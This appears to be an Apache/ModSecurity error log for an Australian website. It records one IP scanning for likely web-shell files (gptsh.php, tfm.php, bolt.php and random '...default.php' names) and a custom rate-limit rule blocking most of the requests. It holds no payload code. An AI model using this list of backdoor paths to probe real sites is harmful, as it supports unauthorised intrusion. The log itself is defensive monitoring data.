[Sun Apr 12 01:35:12.584104 2026] [:error] [pid 44701:tid 44789] [client 4.232.184.116:11092] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "adqGUBGZAP4MrlxEPFc6QwAAAE4"]
[Sun Apr 12 01:35:13.107716 2026] [:error] [pid 34152:tid 34177] [client 4.232.184.116:10973] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "adqGUYFtE4RhFslT1Dq-XgAAABc"]
[Sun Apr 12 01:35:13.682509 2026] [:error] [pid 44701:tid 44774] [client 4.232.184.116:11105] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "adqGURGZAP4MrlxEPFc6RQAAAEI"]
[Sun Apr 12 01:35:14.366644 2026] [:error] [pid 44701:tid 44781] [client 4.232.184.116:11109] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "adqGUhGZAP4MrlxEPFc6SQAAAEg"]
[Sun Apr 12 01:35:15.318944 2026] [:error] [pid 44701:tid 44775] [client 4.232.184.116:11110] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adqGUxGZAP4MrlxEPFc6TgAAAEM"]
[Sun Apr 12 01:35:15.921671 2026] [:error] [pid 44698:tid 44720] [client 4.232.184.116:11045] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adqGUxgoH9UWd-U3D55gugAAAJE"]
[Sun Apr 12 01:35:17.659923 2026] [:error] [pid 36938:tid 36943] [client 4.232.184.116:11044] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adqGVYSWpa_VL1JPU6zdFQAAAYM"]
[Sun Apr 12 01:35:19.553801 2026] [:error] [pid 36909:tid 36923] [client 4.232.184.116:11055] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Sun Apr 12 01:35:19.806148 2026] [:error] [pid 36909:tid 36919] [client 4.232.184.116:11055] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-the.php
[Sun Apr 12 01:35:20.062107 2026] [:error] [pid 36909:tid 36911] [client 4.232.184.116:11055] File does not exist: /usr/local/apache/htdocs/suspended-page/jga.php
[Sun Apr 12 01:35:21.156667 2026] [:error] [pid 36909:tid 36929] [client 4.232.184.116:11055] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Sun Apr 12 01:35:21.406193 2026] [:error] [pid 36909:tid 36916] [client 4.232.184.116:11055] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Sun Apr 12 01:35:21.639874 2026] [:error] [pid 36909:tid 36915] [client 4.232.184.116:11055] File does not exist: /usr/local/apache/htdocs/suspended-page/Ov-Simple1.php
[Sun Apr 12 01:35:21.897941 2026] [:error] [pid 36909:tid 36935] [client 4.232.184.116:11055] File does not exist: /usr/local/apache/htdocs/suspended-page/dass.php
[Sun Apr 12 01:35:22.132698 2026] [:error] [pid 36909:tid 36930] [client 4.232.184.116:11055] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sun Apr 12 01:35:22.374446 2026] [:error] [pid 36909:tid 36922] [client 4.232.184.116:11055] File does not exist: /usr/local/apache/htdocs/suspended-page/ta0ol.php
[Sun Apr 12 01:35:22.643814 2026] [:error] [pid 36909:tid 36917] [client 4.232.184.116:11055] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-png.php
[Sun Apr 12 01:35:22.874692 2026] [:error] [pid 36909:tid 36932] [client 4.232.184.116:11055] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "adqGWkGk5GhxTCzHUOoXvAAAARU"]
[Sun Apr 12 01:35:25.872727 2026] [:error] [pid 44701:tid 44771] [client 4.232.184.116:11072] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "adqGXRGZAP4MrlxEPFc6YQAAAEA"]
[Sun Apr 12 01:35:27.515901 2026] [:error] [pid 34152:tid 34158] [client 4.232.184.116:11031] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "adqGX4FtE4RhFslT1Dq-aAAAAAQ"]
[Sun Apr 12 01:35:28.367616 2026] [:error] [pid 44701:tid 44782] [client 4.232.184.116:11121] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "adqGYBGZAP4MrlxEPFc6bAAAAEk"]
[Sun Apr 12 01:35:29.146782 2026] [:error] [pid 36938:tid 36941] [client 4.232.184.116:11148] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "adqGYYSWpa_VL1JPU6zdLAAAAYE"]
[Sun Apr 12 01:35:29.729809 2026] [:error] [pid 36909:tid 36934] [client 4.232.184.116:11033] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "adqGYUGk5GhxTCzHUOoXywAAARc"]
[Sun Apr 12 01:35:30.420033 2026] [:error] [pid 44701:tid 44783] [client 4.232.184.116:11090] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "adqGYhGZAP4MrlxEPFc6dQAAAEo"]
[Sun Apr 12 01:35:31.109843 2026] [:error] [pid 44701:tid 44776] [client 4.232.184.116:11169] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "adqGYxGZAP4MrlxEPFc6eQAAAEQ"]
[Sun Apr 12 01:35:31.869417 2026] [:error] [pid 44701:tid 44787] [client 4.232.184.116:11034] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "adqGYxGZAP4MrlxEPFc6ggAAAE0"]
[Sun Apr 12 01:35:32.732325 2026] [:error] [pid 36938:tid 36956] [client 4.232.184.116:10988] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "adqGZISWpa_VL1JPU6zdLQAAAZA"]
[Sun Apr 12 01:35:33.387823 2026] [:error] [pid 36938:tid 36952] [client 4.232.184.116:10946] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "adqGZYSWpa_VL1JPU6zdMgAAAYw"]
[Sun Apr 12 01:35:34.229922 2026] [:error] [pid 34152:tid 34159] [client 4.232.184.116:10947] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "adqGZoFtE4RhFslT1Dq-bQAAAAU"]
[Sun Apr 12 01:35:35.196377 2026] [:error] [pid 44701:tid 44787] [client 4.232.184.116:11037] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "adqGZxGZAP4MrlxEPFc6jQAAAE0"]
[Sun Apr 12 01:35:36.220792 2026] [:error] [pid 44701:tid 44785] [client 4.232.184.116:11062] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "adqGaBGZAP4MrlxEPFc6kwAAAEs"]
[Sun Apr 12 01:35:37.052329 2026] [:error] [pid 44701:tid 44771] [client 4.232.184.116:11064] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "adqGaRGZAP4MrlxEPFc6mAAAAEA"]
[Sun Apr 12 01:35:38.009419 2026] [:error] [pid 44700:tid 44760] [client 4.232.184.116:11116] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "adqGamryPgh_uW4QPCllxQAAANA"]
[Sun Apr 12 01:35:39.356283 2026] [:error] [pid 44700:tid 44744] [client 4.232.184.116:11040] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "adqGa2ryPgh_uW4QPCllyQAAAMA"]
[Sun Apr 12 01:35:41.128709 2026] [:error] [pid 44700:tid 44750] [client 4.232.184.116:11049] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "adqGbWryPgh_uW4QPCllzwAAAMY"]
[Sun Apr 12 01:35:42.139121 2026] [:error] [pid 36909:tid 36925] [client 4.232.184.116:11066] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "adqGbkGk5GhxTCzHUOoX0gAAAQ4"]
[Sun Apr 12 01:35:43.058606 2026] [:error] [pid 34152:tid 34178] [client 4.232.184.116:10880] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "adqGb4FtE4RhFslT1Dq-fQAAABg"]
[Sun Apr 12 01:35:43.865118 2026] [:error] [pid 44700:tid 44756] [client 4.232.184.116:10998] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "adqGb2ryPgh_uW4QPCll0wAAAMw"]
[Sun Apr 12 01:35:45.199004 2026] [:error] [pid 44700:tid 44762] [client 4.232.184.116:11134] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "adqGcWryPgh_uW4QPCll1gAAANI"]
[Sun Apr 12 01:35:46.592684 2026] [:error] [pid 44700:tid 44750] [client 4.232.184.116:11111] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "adqGcmryPgh_uW4QPCll3gAAAMY"]
[Sun Apr 12 01:35:48.636719 2026] [:error] [pid 36938:tid 36954] [client 4.232.184.116:11015] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "adqGdISWpa_VL1JPU6zdQwAAAY4"]
[Sun Apr 12 01:35:49.295158 2026] [:error] [pid 44701:tid 44777] [client 4.232.184.116:11018] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "adqGdRGZAP4MrlxEPFc6rAAAAEU"]
[Sun Apr 12 01:35:50.283155 2026] [:error] [pid 36938:tid 36944] [client 4.232.184.116:11251] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "adqGdoSWpa_VL1JPU6zdSgAAAYQ"]
[Sun Apr 12 01:35:51.518448 2026] [:error] [pid 44698:tid 44710] [client 4.232.184.116:11233] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "adqGdxgoH9UWd-U3D55gzwAAAIc"]
[Sun Apr 12 01:35:52.872849 2026] [:error] [pid 44701:tid 44782] [client 4.232.184.116:10982] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "adqGeBGZAP4MrlxEPFc6tAAAAEk"]
[Sun Apr 12 01:35:54.138912 2026] [:error] [pid 36938:tid 36960] [client 4.232.184.116:11014] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "adqGeoSWpa_VL1JPU6zdXQAAAZQ"]
[Sun Apr 12 01:35:55.326916 2026] [:error] [pid 36909:tid 36933] [client 4.232.184.116:10949] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "adqGe0Gk5GhxTCzHUOoX5gAAARY"]
[Sun Apr 12 01:35:56.651891 2026] [:error] [pid 44698:tid 44722] [client 4.232.184.116:11115] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "adqGfBgoH9UWd-U3D55g0QAAAJM"]
[Sun Apr 12 01:35:57.804798 2026] [:error] [pid 44701:tid 44792] [client 4.232.184.116:11128] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file61.php"] [unique_id "adqGfRGZAP4MrlxEPFc6wgAAAFE"]
[Sun Apr 12 01:35:59.570009 2026] [:error] [pid 36938:tid 36957] [client 4.232.184.116:11011] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "adqGf4SWpa_VL1JPU6zdgAAAAZE"]
[Sun Apr 12 01:36:00.694522 2026] [:error] [pid 34152:tid 34158] [client 4.232.184.116:11199] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "adqGgIFtE4RhFslT1Dq-hAAAAAQ"]
[Sun Apr 12 01:36:02.860969 2026] [:error] [pid 44701:tid 44783] [client 4.232.184.116:11061] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "adqGghGZAP4MrlxEPFc60AAAAEo"]
[Sun Apr 12 01:36:04.342598 2026] [:error] [pid 34152:tid 34165] [client 4.232.184.116:11248] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "adqGhIFtE4RhFslT1Dq-hgAAAAs"]
[Sun Apr 12 01:36:05.472784 2026] [:error] [pid 36909:tid 36922] [client 4.232.184.116:11158] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gptsh.php"] [unique_id "adqGhUGk5GhxTCzHUOoX7AAAAQs"]
[Sun Apr 12 01:36:06.373399 2026] [:error] [pid 44700:tid 44749] [client 4.232.184.116:11050] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gptsh.php"] [unique_id "adqGhmryPgh_uW4QPCll8AAAAMU"]
[Sun Apr 12 01:36:07.354892 2026] [:error] [pid 44700:tid 44752] [client 4.232.184.116:11063] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gptsh.php"] [unique_id "adqGh2ryPgh_uW4QPCll9AAAAMg"]
[Sun Apr 12 01:36:08.375221 2026] [:error] [pid 44701:tid 44785] [client 4.232.184.116:10889] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gptsh.php"] [unique_id "adqGiBGZAP4MrlxEPFc64wAAAEs"]
[Sun Apr 12 01:36:09.176936 2026] [:error] [pid 36909:tid 36934] [client 4.232.184.116:10999] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adqGiUGk5GhxTCzHUOoX8AAAARc"]
[Sun Apr 12 01:36:10.098529 2026] [:error] [pid 44698:tid 44703] [client 4.232.184.116:10964] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adqGihgoH9UWd-U3D55g1wAAAIA"]
[Sun Apr 12 01:36:13.919711 2026] [:error] [pid 44701:tid 44787] [client 4.232.184.116:10990] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adqGjRGZAP4MrlxEPFc6-gAAAE0"]
[Sun Apr 12 01:36:18.896620 2026] [:error] [pid 44701:tid 44795] [client 4.232.184.116:11008] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adqGkhGZAP4MrlxEPFc7EQAAAFQ"]
[Sun Apr 12 01:36:23.934732 2026] [:error] [pid 44698:tid 44703] [client 4.232.184.116:11003] File does not exist: /usr/local/apache/htdocs/suspended-page/sid3.php
[Sun Apr 12 01:36:24.205426 2026] [:error] [pid 44698:tid 44721] [client 4.232.184.116:11003] File does not exist: /usr/local/apache/htdocs/suspended-page/ogifomnzqnlvwh5womfjirvaCdefault.php
[Sun Apr 12 01:36:24.440101 2026] [:error] [pid 44698:tid 44725] [client 4.232.184.116:11003] File does not exist: /usr/local/apache/htdocs/suspended-page/Cap.php
[Sun Apr 12 01:36:24.675363 2026] [:error] [pid 44698:tid 44715] [client 4.232.184.116:11003] File does not exist: /usr/local/apache/htdocs/suspended-page/lmutxdvyp7u5yksqke8ozbjgCdefault.php
